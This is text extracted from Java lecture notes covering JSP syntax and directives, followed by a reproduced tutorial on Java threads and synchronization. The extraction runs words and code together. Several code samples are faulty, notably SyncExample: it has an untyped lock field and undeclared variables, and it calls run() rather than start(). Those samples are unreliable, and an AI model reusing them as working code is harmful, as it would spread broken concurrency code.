The JSP container will generate compilation errors if your expression cannot be converted into a String, or if you have placed a semicolon at the end of your Java statement.

An alternative method for writing to the buffer uses the “out” implicit object, explained in the Implicit Objects topic later in the chapter.

14

Page 370: Taner Erkan Java 2 lecture Ders notları

example

<%-- Using the basic expression script tags--%>

<%! String text = "Wow!";%>

This is some html and an expression: <%=text%> </br>

<%-- The same thing using the XML tags--%>

<jsp:declaration>String text = "Wow!";</jsp:declaration> </br>

This is some html and an expression:

<jsp:expression>text</jsp:expression>

<%-- And finally, using the out object --%>

<%! String text = "Wow!";%>

This is some html and an expression: <%out.print(text)%> </br>

15

Page 371: Taner Erkan Java 2 lecture Ders notları

Scriptlets

A scriptlet is a section of Java code embedded in HTML. A scriptlet can include any valid Java code. This means that you can:

• Declare new variables—The variables are “scriptlet” level and cannot be accessed outside of the scriptlet.

• Instantiate external classes—You can access JDBC, RMI, JNDI, or any other package of Java classes from inside a scriptlet, provided you have included the package with the correct directive.

• Access JavaBeans—You can access the properties and methods of a JavaBean inside a scriptlet. Another method for using Java-Beans is covered in the Forms, JavaBeans, and JSP topic later in this chapter.

Scriptlets are declared using the <% %> script tags, or the <jsp:scriptlet> </jsp:scriptlet> XML equivalents.

16

Page 372: Taner Erkan Java 2 lecture Ders notları

Example1. <% // assume I have an arraylist of products. %>2. <TABLE>3. <TR>4. <TH>Product #</TH>5. <TH>Product Name</TH>6. <TH>Unit Price</TH>7. </TR>8. <% Iterator it = products.iterator();

9. while (it.hasNext()) {

10. %>11. <TR>12. <% Product aProduct = (Product) it.next();%>13. <TD><%= aProduct.getProductId()%></TD>14. <TD><%= aProduct.getProductName()%></TD>15. <TD><%= aProduct.getUnitPrice()%></TD>16. </TR>17. <% } %>18. </TABLE>

17

Page 373: Taner Erkan Java 2 lecture Ders notları

Topic: Directives and Actions

Directives and actions extend the basic JSP syntax.

Directives are instructions from the JSP to the container that can be used to set the page properties, to import Java classes and packages, and to include external web pages and custom tag libraries. The three directives are:

• Page—The page directive sets the attributes of the page and provides the functionality for importing Java classes.

• Include—The include directive adds modularity to JSP by allowing you to include the contents of external pages in your JSP.

• Taglib—The Taglib directive is used for Custom Tag Libraries.

18

Page 374: Taner Erkan Java 2 lecture Ders notları

Topic: Directives and Actions Actions, on the other hand, instruct the container to

perform specific tasks at runtime. These actions range from forwarding control to another page to generating a new JavaBean for use in the page. The four types of actions are:

• Forward—This action transfers control to a new web page.

• Include—The include action temporarily transfers control to a new page, performs the actions on the page, includes the output in the original page, and returns control to the original page.

• Beans—Bean actions allow creation and use of JavaBeans inside a JSP. The bean actions are explained in the Forms, JavaBeans, and JSP topic.

• Plug-in—The <jsp:plugin> action is used for working with Java applets. Applets are client-side programs that run on a browser. Applets have generally fallen out of favor and the plug-in action is not covered in this book.

19

Page 375: Taner Erkan Java 2 lecture Ders notları

Page Directive

The page directive has eleven different attributes that control

everything from the scripting language to the classes and

packages imported into the page. The general syntax for using

a page directive is

Except for import, each attribute can be used only once in a

page directive. The attribute order is unimportant. The

various attributes are summarized in the following table:

<%@ page attribute1="value1" attribute2="value2" ...%>

<%-- XML equivalent. Note that the XML equivalent uses

attributes rather than an open/close tag structure. --%>

<jsp:directive.page att1="value1" att2="value2" .../>

20

Page 376: Taner Erkan Java 2 lecture Ders notları

Attribute Value Default Purpose

autoFlush Boolean flag. false When set to true,

buffer automatically

flushes when

full. Default

setting holds

content until page

is finished.

buffer Size or false 8KB Sets size of buffer

for holding Page

output. Set to false

to disable buffer.

If false, autoFlush

must be true.

contentType MIME type and

character settext/html;

charset=ISO-

8859-1

Sets content type for output

of page. Usually default,

“text/XML,” “text/html,” or

“text/plain.” charset is any

valid MIME charset.

import Class or

package name

none Used to load external

package name Java

classes into your JSP.

Identical to the standard

“import” command in Java

Other

attributes

You can read From pages 114-115 of

CodeNotes book21

Page 377: Taner Erkan Java 2 lecture Ders notları

Some examples The following examples illustrate some common uses for the page

directive:

• import—Using the import directive is just like using “import” in a Java class file. This is the most commonly used page directive. You can import multiple classes and packages by separating the

names with a comma.

<%@ page import="java.sql.*" %>

<%@ page import="java.util.properties, java.text.*"%>

• contentType—The contentType directive is usually left at the default, unless you are working with different character sets or writing XML content.

<%@ page contentType="text/XML" %>

• errorPage—The errorPage attribute will redirect the client to a new JSP when an unhanded exception is thrown. The JSP error page must have the isErrorPage directive set to “true.”

<%@ page errorPage="/webdev/admin/error.jsp" %>

• isErrorPage—If this attribute is set to true, the page can access the exception implicit object. Using implicit objects and error handling are discussed later in this section.

<%@ page isErrorPage="true" %>22

Page 378: Taner Erkan Java 2 lecture Ders notları

Include Directive

The include directive allows you to modularize your web pages and include the entire contents of one file in another. The include directive can be used any number of times in a JSP. The format is simply:

<%@ include file="urltoFile" %>

<%-- XML equivalent, once again, uses attributes

instead of open/close tag --%>

<jsp:directive.include file="urlToFile" />

23

Page 379: Taner Erkan Java 2 lecture Ders notları

Forward Action

The forward action permanently transfers control to another location using a RequestDispatcher. Unlike directives and scripting elements, the forward action does not have a scripting syntax. All actions are launched using an XML syntax:

<jsp:forward page="urlToPage" />

The forward action supports runtime definition of the page attribute. For example, the following code will forward the page to a URL defined as “msgs/error401.html” if the errCode variable is equal to 401:

<jsp:forwardpage='<%="msgs/error"+errCode+".html"%>' />

24

Page 380: Taner Erkan Java 2 lecture Ders notları

Include Action The include action should not be confused with the include

directive mentioned earlier.

The include action temporarily transfers control to the second web page, which must be a complete page. The include directive simply incorporates the contents of the second page directly into the calling page.

An include action is called using an XML-based syntax with two attributes, the page URL and “flush.” This parameter forces the included page to write all of its output before returning control to the calling page.

<jsp:include page="urlToPage" flush="true" />

This action also supports runtime definition of the page attribute.

25

Page 381: Taner Erkan Java 2 lecture Ders notları

Passing Parameters

When you use either the forward or include action, if the receiving page is a JSP, it automatically has access to the Request and Session implicit objects from the calling page. In practice, this means that the receiving page has access to all of the information passed into the calling page. If you need to pass extra parameters to the receiving page, you can insert

<jsp:paramname=“paramname” value=“paramvalue” /> into the action. For example:

<jsp:forward page="checkout.jsp">

<jsp:param name="enable" value="true" />

<jsp:param name="uniqueID"

value="<%=uniqueID%>" />

</jsp:forward>

These parameters are accessible as form parameters.26

Page 382: Taner Erkan Java 2 lecture Ders notları

EXAMPLES

The following example uses both the include and

forward directives to handle a user login

scenario. If the user is not logged in, he is

automatically redirected to the Login.jsp page.

<jsp:include page="/common/Header.jsp"/>

<% String username=session.getAttribute("username");

if (username == null) {

// User is not logged in.

%> <jsp:forward page="/Login.jsp"/> <%

} %>

<jsp:include page="/common/Footer.jsp"/>27

Page 383: Taner Erkan Java 2 lecture Ders notları

Topic: Implicit Objects

The JSP container provides access to a set of implicit objects. These objects are extensions of common Servlet components and provide some of the basic tools necessary to build real applications with JSP.

Many of the implicit objects are explained in the Support Objects topic of Chapter 5 (Servlets).

In this topic, you will see the JSP-specific aspects of these objects, and several objects that are exclusive to JSPs.

28

Page 384: Taner Erkan Java 2 lecture Ders notları

Mapping to Servlets

Each of the implicit objects maps to a corresponding class or interface

from one of the javax.Servlet packages.

29

Page 385: Taner Erkan Java 2 lecture Ders notları

PageContext

(javax.servlet.jsp.PageContext) The PageContext object is an abstract helper

object intended for use by the container. However, the PageContext can be used to store attributes (like session, request, and application) in the page scope. The PageContext object can also be used to access the other implicit objects (e.g., the getRequest() method returns the Request object) and perform dispatch methods (forward and include), which are identical to the forward and include actions.

30

Page 386: Taner Erkan Java 2 lecture Ders notları

Attributes Revisited The most useful feature of PageContext is that it provides

access to all attributes a page can access, regardless of scope. Thus you can use Page-Context as a one-stop entry point for all of the attributes accessible by the current page.

The extended attribute methods have an extra integer parameter with enumerated values of PAGE_SCOPE, REQUEST_SCOPE, SESSION_SCOPE, and APPLICATION_SCOPE. These scopes relate to the different objects that are capable of supporting attributes. PAGE_SCOPE refers to the PageContext object.

• setAttribute(), getAttribute(), removeAttribute()—These methods perform in a manner almost identical to that of the regular methods, with the exception of the added scope parameter.

<%//sets Session attribute named "Test"

pageContext.setAttribute("BookTitle", "J2EE",

PageContext.SESSION_SCOPE); %>

31

Page 387: Taner Erkan Java 2 lecture Ders notları

getAttributeNamesInScope(scope)—This method returns a Java.util.Enumeration object with the names (keys) of all of the attributes in the specified scope.

findAttribute(key)—This method searches across all scopes and returns the first instance of the named attribute. The scope search order is: page, request, session (if valid), and application. This is very useful if you have a default value (in application scope) that can be overridden by a local preference (session scope). If no attribute is found, null is returned.

getAttributeScope(key)—Returns the scope for the named attribute. If the attribute is not found, this returns an integer value of 0.

Other functions

32

Page 388: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 389: Taner Erkan Java 2 lecture Ders notları

Introduction to Java threads

Presented by developerWorks, your source for great tutorials

ibm.com/developerWorks

Table of ContentsIf you're viewing this document online, you can click any of the topics below to link directly to that section.

1. About this tutorial....................................................... 22. Thread basics........................................................... 33. A thread's life............................................................ 84. Threads everywhere ................................................... 135. Sharing access to data ................................................ 166. Synchronization details................................................ 227. Additional thread API details ......................................... 268. Wrapup and resources ................................................ 28

Introduction to Java threads Page 1 of 30

Page 390: Taner Erkan Java 2 lecture Ders notları

Section 1. About this tutorial

What is this tutorial about?This tutorial explores the basics of threads -- what they are, why they are useful, and how toget started writing simple programs that use them.

We will also explore the basic building blocks of more sophisticated threading applications --how to exchange data between threads, how to control threads, and how threads cancommunicate with each other.

Should I take this tutorial?This tutorial is for Java programmers who have a good working knowledge of the Javalanguage, but who have limited experience with multithreading or concurrency.

At the completion of this tutorial, you should be able to write simple programs that usethreads. You should also be able to read and understand programs that use threads instraightforward ways.

About the authorBrian Goetz is a regular columnist on the developerWorks Java technology zone and hasbeen a professional software developer for the past 15 years. He is a Principal Consultant atQuiotix, a software development and consulting firm located in Los Altos, California.

See Brian's published and upcoming articles in popular industry publications.

Contact Brian at [email protected].

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 2 of 30 Introduction to Java threads

Page 391: Taner Erkan Java 2 lecture Ders notları

Section 2. Thread basics

What are threads?Nearly every operating system supports the concept of processes -- independently runningprograms that are isolated from each other to some degree.

Threading is a facility to allow multiple activities to coexist within a single process. Mostmodern operating systems support threads, and the concept of threads has been around invarious forms for many years. Java is the first mainstream programming language toexplicitly include threading within the language itself, rather than treating threading as afacility of the underlying operating system.

Threads are sometimes referred to as lightweight processes. Like processes, threads areindependent, concurrent paths of execution through a program, and each thread has its ownstack, its own program counter, and its own local variables. However, threads within aprocess are less insulated from each other than separate processes are. They sharememory, file handles, and other per-process state.

A process can support multiple threads, which appear to execute simultaneously andasynchronously to each other. Multiple threads within a process share the same memoryaddress space, which means they have access to the same variables and objects, and theyallocate objects from the same heap. While this makes it easy for threads to shareinformation with each other, you must take care to ensure that they do not interfere with otherthreads in the same process.

The Java thread facility and API is deceptively simple. However, writing complex programsthat use threading effectively is not quite as simple. Because multiple threads coexist in thesame memory space and share the same variables, you must take care to ensure that yourthreads don't interfere with each other.

Every Java program uses threadsEvery Java program has at least one thread -- the main thread. When a Java program starts,the JVM creates the main thread and calls the program's main() method within that thread.

The JVM also creates other threads that are mostly invisible to you -- for example, threadsassociated with garbage collection, object finalization, and other JVM housekeeping tasks.Other facilities create threads too, such as the AWT (Abstract Windowing Toolkit) or SwingUI toolkits, servlet containers, application servers, and RMI (Remote Method Invocation).

Why use threads?There are many reasons to use threads in your Java programs. If you use Swing, servlets,RMI, or Enterprise JavaBeans (EJB) technology, you may already be using threads withoutrealizing it.

Some of the reasons for using threads are that they can help to:

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 3 of 30

Page 392: Taner Erkan Java 2 lecture Ders notları

• Make the UI more responsive

• Take advantage of multiprocessor systems

• Simplify modeling

• Perform asynchronous or background processing

More responsive UIEvent-driven UI toolkits, such as AWT and Swing, have an event thread that processes UIevents such as keystrokes and mouse clicks.

AWT and Swing programs attach event listeners to UI objects. These listeners are notifiedwhen a specific event occurs, such as a button being clicked. Event listeners are called fromwithin the AWT event thread.

If an event listener were to perform a lengthy task, such as checking spelling in a largedocument, the event thread would be busy running the spelling checker, and thus would notbe able to process additional UI events until the event listener completed. This would makethe program appear to freeze, which is disconcerting to the user.

To avoid stalling the UI, the event listener should hand off long tasks to another thread sothat the AWT thread can continue processing UI events (including requests to cancel thelong-running task being performed) while the task is in progress.

Take advantage of multiprocessor systemsMultiprocessor (MP) systems are much more common than they used to be. Once they werefound only in large data centers and scientific computing facilities. Now many low-end serversystems -- and even some desktop systems -- have multiple processors.

Modern operating systems, including Linux, Solaris, and Windows NT/2000, can takeadvantage of multiple processors and schedule threads to execute on any availableprocessor.

The basic unit of scheduling is generally the thread; if a program has only one active thread,it can only run on one processor at a time. If a program has multiple active threads, thenmultiple threads may be scheduled at once. In a well-designed program, using multiplethreads can improve program throughput and performance.

Simplicity of modelingIn some cases, using threads can make your programs simpler to write and maintain.Consider a simulation application, where you simulate the interaction between multipleentities. Giving each entity its own thread can greatly simplify many simulation and modelingapplications.

Another example where it is convenient to use separate threads to simplify a program iswhen an application has multiple independent event-driven components. for example, anapplication might have a component that counts down the number of seconds since some

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 4 of 30 Introduction to Java threads

Page 393: Taner Erkan Java 2 lecture Ders notları

event and updates a display on the screen. Rather than having a main loop check the timeperiodically and update the display, it is much simpler -- and less error-prone -- to have athread that does nothing but sleep until a certain amount of time has elapsed and thenupdate the on-screen counter. This way the main thread doesn't need to worry about thetimer at all.

Asynchronous or background processingServer applications get their input from remote sources, such as sockets. When you readfrom a socket, if there is no data currently available, the call toSocketInputStream.read() will block until data is available.

If a single-threaded program were to read from the socket, and the entity on the other end ofthe socket were never to send any data, the program would simply wait forever, and no otherprocessing would get done. On the other hand, the program could poll the socket to see ifdata was available, but this is often undesirable for performance reasons.

If, instead, you created a thread to read from the socket, the main thread could perform othertasks while the other thread waited for input from the socket. You can even create multiplethreads so you can read from multiple sockets at once. In this way, you are notified quicklywhen data is available (because the waiting thread is awakened) without having to pollfrequently to check if data is available. The code to wait on a socket using threads is alsomuch simpler and less error-prone than polling would be.

Simple, but sometimes riskyWhile the Java thread facility is very easy to use, there are several risks you should try toavoid when you create multithreaded programs.

When multiple threads access the same data item, such as a static field, an instance field ofa globally accessible object, or a shared collection, you need to make sure that theycoordinate their access to the data so that both see a consistent view of the data and neithersteps on the other's changes. The Java language provides two keywords for this purpose:synchronized and volatile. We will explore the use and meaning of these keywordslater in this tutorial.

When accessing variables from more than one thread, you must ensure that the access isproperly synchronized. For simple variables, it may be enough to declare the variablevolatile, but in most situations, you will need to use synchronization.

If you are going to use synchronization to protect access to shared variables, you must makesure to use it everywhere in your program where the variable is accessed.

Don't overdo itWhile threads can greatly simplify many types of applications, overuse of threads can behazardous to your program's performance and its maintainability. Threads consumeresources. Therefore, there is a limit on how many threads you can create without degrading

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 5 of 30

Page 394: Taner Erkan Java 2 lecture Ders notları

performance.

In particular, using multiple threads will not make a CPU-bound program run any faster on asingle-processor system.

Example: Using a thread for timing and a thread to doworkThe following example uses two threads, one for timing and one to do actual work. The mainthread calculates prime numbers using a very straightforward algorithm.

Before it starts, it creates and starts a timer thread, which will sleep for ten seconds, and thenset a flag that the main thread will check. After ten seconds, the main thread will stop. Notethat the shared flag is declared volatile.

/*** CalculatePrimes -- calculate as many primes as we can in ten seconds*/

public class CalculatePrimes extends Thread {

public static final int MAX_PRIMES = 1000000;public static final int TEN_SECONDS = 10000;

public volatile boolean finished = false;

public void run() {int[] primes = new int[MAX_PRIMES];int count = 0;

for (int i=2; count<MAX_PRIMES; i++) {

// Check to see if the timer has expiredif (finished) {

break;}

boolean prime = true;for (int j=0; j<count; j++) {

if (i % primes[j] == 0) {prime = false;break;

}}

if (prime) {primes[count++] = i;System.out.println("Found prime: " + i);

}}

}

public static void main(String[] args) {CalculatePrimes calculator = new CalculatePrimes();calculator.start();try {

Thread.sleep(TEN_SECONDS);

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 6 of 30 Introduction to Java threads

Page 395: Taner Erkan Java 2 lecture Ders notları

}catch (InterruptedException e) {

// fall through}

calculator.finished = true;}

}

SummaryThe Java language includes a powerful threading facility built into the language. You can usethe threading facility to:

• Increase the responsiveness of GUI applications

• Take advantage of multiprocessor systems

• Simplify program logic when there are multiple independent entities

• Perform blocking I/O without blocking the entire program

When you use multiple threads, you must be careful to follow the rules for sharing databetween threads, which we'll cover in Sharing access to data on page 16 . All these rules boildown to one basic principle: Don't forget to synchronize.

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 7 of 30

Page 396: Taner Erkan Java 2 lecture Ders notları

Section 3. A thread's life

Creating threadsThere are several ways to create a thread in a Java program. Every Java program containsat least one thread: the main thread. Additional threads are created through the Threadconstructor or by instantiating classes that extend the Thread class.

Java threads can create other threads by instantiating a Thread object directly or an objectthat extends Thread. In the example in Thread basics on page 3 , in which we calculated asmany primes as we could in ten seconds, we created a thread by instantiating an object oftype CalculatePrimes, which extends Thread.

When we talk about threads in Java programs, there are two related entities we may bereferring to: the actual thread that is doing the work or the Thread object that represents thethread. The running thread is generally created by the operating system; the Thread objectis created by the Java VM as a means of controlling the associated thread.

Creating threads and starting threads are not the sameA thread doesn't actually begin to execute until another thread calls the start() method onthe Thread object for the new thread. The Thread object exists before its thread actuallystarts, and it continues to exist after its thread exits. This allows you to control or obtaininformation about a thread you've created, even if the thread hasn't started yet or has alreadycompleted.

It's generally a bad idea to start() threads from within a constructor. Doing so couldexpose partially constructed objects to the new thread. If an object owns a thread, then itshould provide a start() or init() method that will start the thread, rather than starting itfrom the constructor. (See Resources on page 28 for links to articles that provide a moredetailed explanation of this concept.)

Ending threadsA thread will end in one of three ways:

• The thread comes to the end of its run() method.

• The thread throws an Exception or Error that is not caught.

• Another thread calls one of the deprecated stop() methods. Deprecated means they stillexist, but you shouldn't use them in new code and should strive to eliminate them inexisting code.

When all the threads within a Java program complete, the program exits.

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 8 of 30 Introduction to Java threads

Page 397: Taner Erkan Java 2 lecture Ders notları

Joining with threadsThe Thread API contains a method for waiting for another thread to complete: the join()method. When you call Thread.join(), the calling thread will block until the target threadcompletes.

Thread.join() is generally used by programs that use threads to partition large problemsinto smaller ones, giving each thread a piece of the problem. The example at the end of thissection creates ten threads, starts them, then uses Thread.join() to wait for them all tocomplete.

SchedulingExcept when using Thread.join() and Object.wait(), the timing of thread schedulingand execution is nondeterministic. If two threads are running at the same time and neither iswaiting, you must assume that between any two instructions, other threads may be runningand modifying program variables. If your thread will be accessing data that may be visible toother threads, such as data referenced directly or indirectly from static fields (globalvariables), you must use synchronization to ensure data consistency.

In the simple example below, we'll create and start two threads, each of which prints twolines to System.out:

public class TwoThreads {

public static class Thread1 extends Thread {public void run() {

System.out.println("A");System.out.println("B");

}}

public static class Thread2 extends Thread {public void run() {

System.out.println("1");System.out.println("2");

}}

public static void main(String[] args) {new Thread1().start();new Thread2().start();

}}

We have no idea in what order the lines will execute, except that "1" will be printed before "2"and "A" before "B." The output could be any one of the following:

• 1 2 A B

• 1 A 2 B

• 1 A B 2

• A 1 2 B

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 9 of 30

Page 398: Taner Erkan Java 2 lecture Ders notları

• A 1 B 2

• A B 1 2

Not only may the results vary from machine to machine, but running the same programmultiple times on the same machine may produce different results. Never assume one threadwill do something before another thread does, unless you've used synchronization to force aspecific ordering of execution.

SleepingThe Thread API includes a sleep() method, which will cause the current thread to go into await state until the specified amount of time has elapsed or until the thread is interrupted byanother thread calling Thread.interrupt() on the current thread's Thread object. Whenthe specified time elapses, the thread again becomes runnable and goes back onto thescheduler's queue of runnable threads.

If a thread is interrupted by a call to Thread.interrupt(), the sleeping thread will throwan InterruptedException so that the thread will know that it was awakened by aninterrupt and won't have to check to see if the timer expired.

The Thread.yield() method is like Thread.sleep(), but instead of sleeping, it simplypauses the current thread momentarily so that other threads can run. In mostimplementations, threads with lower priority will not run when a thread of higher priority callsThread.yield().

The CalculatePrimes example used a background thread to calculate primes, then sleptfor ten seconds. When the timer expired, it set a flag to indicate that the ten seconds hadexpired.

Daemon threadsWe mentioned that a Java program exits when all of its threads have completed, but this isnot exactly correct. What about the hidden system threads, such as the garbage collectionthread and others created by the JVM? We have no way of stopping these. If those threadsare running, how does any Java program ever exit?

These system threads are called daemon threads. A Java program actually exits when all itsnon-daemon threads have completed.

Any thread can become a daemon thread. You can indicate a thread is a daemon thread bycalling the Thread.setDaemon() method. You might want to use daemon threads forbackground threads that you create in your programs, such as timer threads or otherdeferred event threads, which are only useful while there are other non-daemon threadsrunning.

Example: Partitioning a large task with multiple threadsIn this example, TenThreads shows a program that creates ten threads, each of which do

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 10 of 30 Introduction to Java threads

Page 399: Taner Erkan Java 2 lecture Ders notları

some work. It waits for them all to finish, then gathers the results.

/*** Creates ten threads to search for the maximum value of a large matrix.* Each thread searches one portion of the matrix.*/public class TenThreads {

private static class WorkerThread extends Thread {int max = Integer.MIN_VALUE;int[] ourArray;

public WorkerThread(int[] ourArray) {this.ourArray = ourArray;

}

// Find the maximum value in our particular piece of the arraypublic void run() {

for (int i = 0; i < ourArray.length; i++)max = Math.max(max, ourArray[i]);

}

public int getMax() {return max;

}}

public static void main(String[] args) {WorkerThread[] threads = new WorkerThread[10];int[][] bigMatrix = getBigHairyMatrix();int max = Integer.MIN_VALUE;

// Give each thread a slice of the matrix to work withfor (int i=0; i < 10; i++) {

threads[i] = new WorkerThread(bigMatrix[i]);threads[i].start();

}

// Wait for each thread to finishtry {

for (int i=0; i < 10; i++) {threads[i].join();max = Math.max(max, threads[i].getMax());

}}catch (InterruptedException e) {

// fall through}

System.out.println("Maximum value was " + max);}

}

SummaryLike programs, threads have a life cycle: they start, they execute, and they complete. Oneprogram, or process, may contain multiple threads, which appear to execute independentlyof each other.

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 11 of 30

Page 400: Taner Erkan Java 2 lecture Ders notları

A thread is created by instantiating a Thread object, or an object that extends Thread, butthe thread doesn't start to execute until the start() method is called on the new Threadobject. Threads end when they come to the end of their run() method or throw anunhandled exception.

The sleep() method can be used to wait for a certain amount of time; the join() methodcan be used to wait until another thread completes.

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 12 of 30 Introduction to Java threads

Page 401: Taner Erkan Java 2 lecture Ders notları

Section 4. Threads everywhere

Who creates threads?Even if you never explicitly create a new thread, you may find yourself working with threadsanyway. Threads are introduced into our programs from a variety of sources.

There are a number of facilities and tools that create threads for you, and you shouldunderstand how threads interact and how to prevent threads from getting in the way of eachother if you're going to use these facilities.

AWT and SwingAny program that uses AWT or Swing must deal with threads. The AWT toolkit creates asingle thread for handling UI events, and any event listeners called by AWT events executein the AWT event thread.

Not only do you have to worry about synchronizing access to data items shared betweenevent listeners and other threads, but you have to find a way for long-running tasks triggeredby event listeners -- such as checking spelling in a large document or searching a file systemfor a file -- to run in a background thread so the UI doesn't freeze while the task is running(which would also prevent the user from canceling the operation). A good example of aframework for doing this is the SwingWorker class (see Resources on page 28 ).

The AWT event thread is not a daemon thread; this is why System.exit() is often used toend AWT and Swing apps.

Using TimerTaskThe TimerTask facility was introduced to the Java language in JDK 1.3. This convenientfacility allows you to execute a task at a later time (that is, for example, run a task once tenseconds from now), or to execute a task periodically (that is, run a task every ten seconds).

Implementing the Timer class is quite straightforward: it creates a timer thread and builds aqueue of waiting events sorted by execution time.

The TimerTask thread is marked as a daemon thread so it doesn't prevent the programfrom exiting.

Because timer events execute in the timer thread, you must make sure that access to anydata items used from within a timer task is properly synchronized.

In the CalculatePrimes example, instead of having the main thread sleep, we could haveused a TimerTask as follows:

public static void main(String[] args) {Timer timer = new Timer();

final CalculatePrimes calculator = new CalculatePrimes();

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 13 of 30

Page 402: Taner Erkan Java 2 lecture Ders notları

calculator.start();

timer.schedule(new TimerTask() {

public void run(){

calculator.finished = true;}

}, TEN_SECONDS);}

Servlets and JavaServer Pages technologyServlet containers create multiple threads in which servlet requests are executed. As theservlet writer, you have no idea (nor should you) in what thread your request will beexecuted; the same servlet could be active in multiple threads at once if multiple requests forthe same URL come in at the same time.

When writing servlets or JavaServer Pages (JSP) files, you must assume at all times that thesame servlet or JSP file may be executing concurrently in multiple threads. Any shared dataaccessed by a servlet or JSP file must be appropriately synchronized; this includes fields ofthe servlet object itself.

Implementing an RMI objectThe RMI facility allows you to invoke operations on objects running in other JVMs. When youcall a remote method, the RMI stub, created by the RMI compiler, packages up the methodparameters and sends them over the network to the remote system, which unpacks themand calls the remote method.

Suppose you create an RMI object and register it in the RMI registry or a Java Naming andDirectory Interface (JNDI) namespace. When a remote client invokes one of its methods, inwhat thread does that method execute?

The common way to implement an RMI object is to extend UnicastRemoteObject. Whena UnicastRemoteObject is constructed, the infrastructure for dispatching remote methodcalls is initialized. This includes a socket listener to receive remote invocation requests, andone or more threads to execute remote requests.

So when you receive a request to execute an RMI method, these methods will execute in anRMI-managed thread.

SummaryThreads enter Java programs through several mechanisms. In addition to creating threadsexplicitly with the Thread constructors, threads are created by a variety of othermechanisms:

• AWT and Swing

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 14 of 30 Introduction to Java threads

Page 403: Taner Erkan Java 2 lecture Ders notları

• RMI

• The java.util.TimerTask facility

• Servlets and JSP technology

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 15 of 30

Page 404: Taner Erkan Java 2 lecture Ders notları

Section 5. Sharing access to data

Sharing variablesFor multiple threads to be useful in a program, they have to have some way to communicateor share their results with each other.

The simplest way for threads to share their results is to use shared variables. They shouldalso use synchronization to ensure that values are propagated correctly from one thread toanother and to prevent threads from seeing inconsistent intermediate results while anotherthread is updating several related data items.

The example that calculated prime numbers in Thread basics on page 3 used a sharedboolean variable to indicate that the specified time period had elapsed. This illustrates thesimplest form of sharing data between threads: polling a shared variable to see if anotherthread has finished performing a certain task.

All threads live in the same memory spaceAs we discussed earlier, threads have a lot in common with processes, except that theyshare the same process context, including memory, with other threads in the same process.This is a tremendous convenience, but also a significant responsibility. Threads can easilyexchange data among themselves simply by accessing shared variables (static or instancefields), but threads must also ensure that they access shared variables in a controlledmanner, lest they step on each other's changes.

Any reachable variable is accessible to any thread, just as it is accessible to the main thread.The prime numbers example used a public instance field, called finished, to indicate thatthe specified time had elapsed. One thread wrote to this field when the timer expired; theother read from this field periodically to check if it should stop. Note that this field wasdeclared volatile, which is important to the proper functioning of this program. We'll seewhy later in this section.

Synchronization for controlled accessThe Java language provides two keywords for ensuring that data can be shared betweenthreads in a controlled manner: synchronized and volatile.

Synchronized has two important meanings: it ensures that only one thread executes aprotected section of code at one time (mutual exclusion or mutex), and it ensures that datachanged by one thread is visible to other threads (visibility of changes).

Without synchronization, it is easy for data to be left in an inconsistent state. For example, ifone thread is updating two related values (say, the position and velocity of a particle), andanother thread is reading those two values, it is possible that the second thread could bescheduled to run after the first thread has written one value but not the other, thus seeingone old and one new value. Synchronization allows us to define blocks of code that must runatomically, in which they appear to execute in an all-or-nothing manner, as far as otherthreads can tell.

ibm.com/developerWorks Presented by developerWorks, your source for great tutorials

Page 16 of 30 Introduction to Java threads

Page 405: Taner Erkan Java 2 lecture Ders notları

The atomic execution or mutual exclusion aspect of synchronization is similar to the conceptof critical sections in other operating environments.

Ensuring visibility of changes to shared dataSynchronization allows us to ensure that threads see consistent views of memory.

Processors can use caches to speed up access to memory (or compilers may store values inregisters for faster access). On some multiprocessor architectures, if a memory location ismodified in the cache on one processor, it is not necessarily visible to other processors untilthe writer's cache is flushed and the reader's cache is invalidated.

This means that on such systems, it is possible for two threads executing on two differentprocessors to see two different values for the same variable! This sounds scary, but it isnormal. It just means that you have to follow some rules when accessing data used ormodified by other threads.

Volatile is simpler than synchronization and is suitable only for controlling access to singleinstances of primitive variables -- integers, booleans, and so on. When a variable is declaredvolatile, any write to that variable will go directly to main memory, bypassing the cache,while any read of that variable will come directly from main memory, bypassing the cache.This means that all threads see the same value for a volatile variable at all times.

Without proper synchronization, it is possible for threads to see stale values of variables orexperience other forms of data corruption.

Atomic code blocks protected by locksVolatile is useful for ensuring that each thread sees the most recent value for a variable,but sometimes we need to protect access to larger sections of code, such as sections thatinvolve updating multiple variables.

Synchronization uses the concepts of monitors, or locks, to coordinate access to particularblocks of code.

Every Java object has an associated lock. Java locks can be held by no more than onethread at a time. When a thread enters a synchronized block of code, the thread blocksand waits until the lock is available, acquires the lock when it becomes available, and thenexecutes the block of code. It releases the lock when control exits the protected block ofcode, either by reaching the end of the block or when an exception is thrown that is notcaught within the synchronized block.

In this way, only one thread can execute a block protected by a given monitor at one time.The block can be considered atomic because, from the perspective of other threads, itappears to either have executed entirely or not at all.

A simple synchronization example

Presented by developerWorks, your source for great tutorials ibm.com/developerWorks

Introduction to Java threads Page 17 of 30

Page 406: Taner Erkan Java 2 lecture Ders notları

Using synchronized blocks allows you to perform a group of related updates as a setwithout worrying about other threads interrupting or seeing the intermediate results of acomputation. The following example code will either print "1 0" or "0 1." In the absence ofsynchronization, it could also print "1 1" (or even "0 0," believe it or not).

public class SyncExample {private static lockObject = new Object();private static class Thread1 extends Thread {public void run() {synchronized (lockObject) {x = y = 0;System.out.println(x);

}}

}

private static class Thread2 extends Thread {public void run() {synchronized (lockObject) {x = y = 1;System.out.println(y);

}}

}

public static void main(String[] args) {new Thread1().run();new Thread2().run();

}}

You must use synchronization in both threads for this program to work properly.

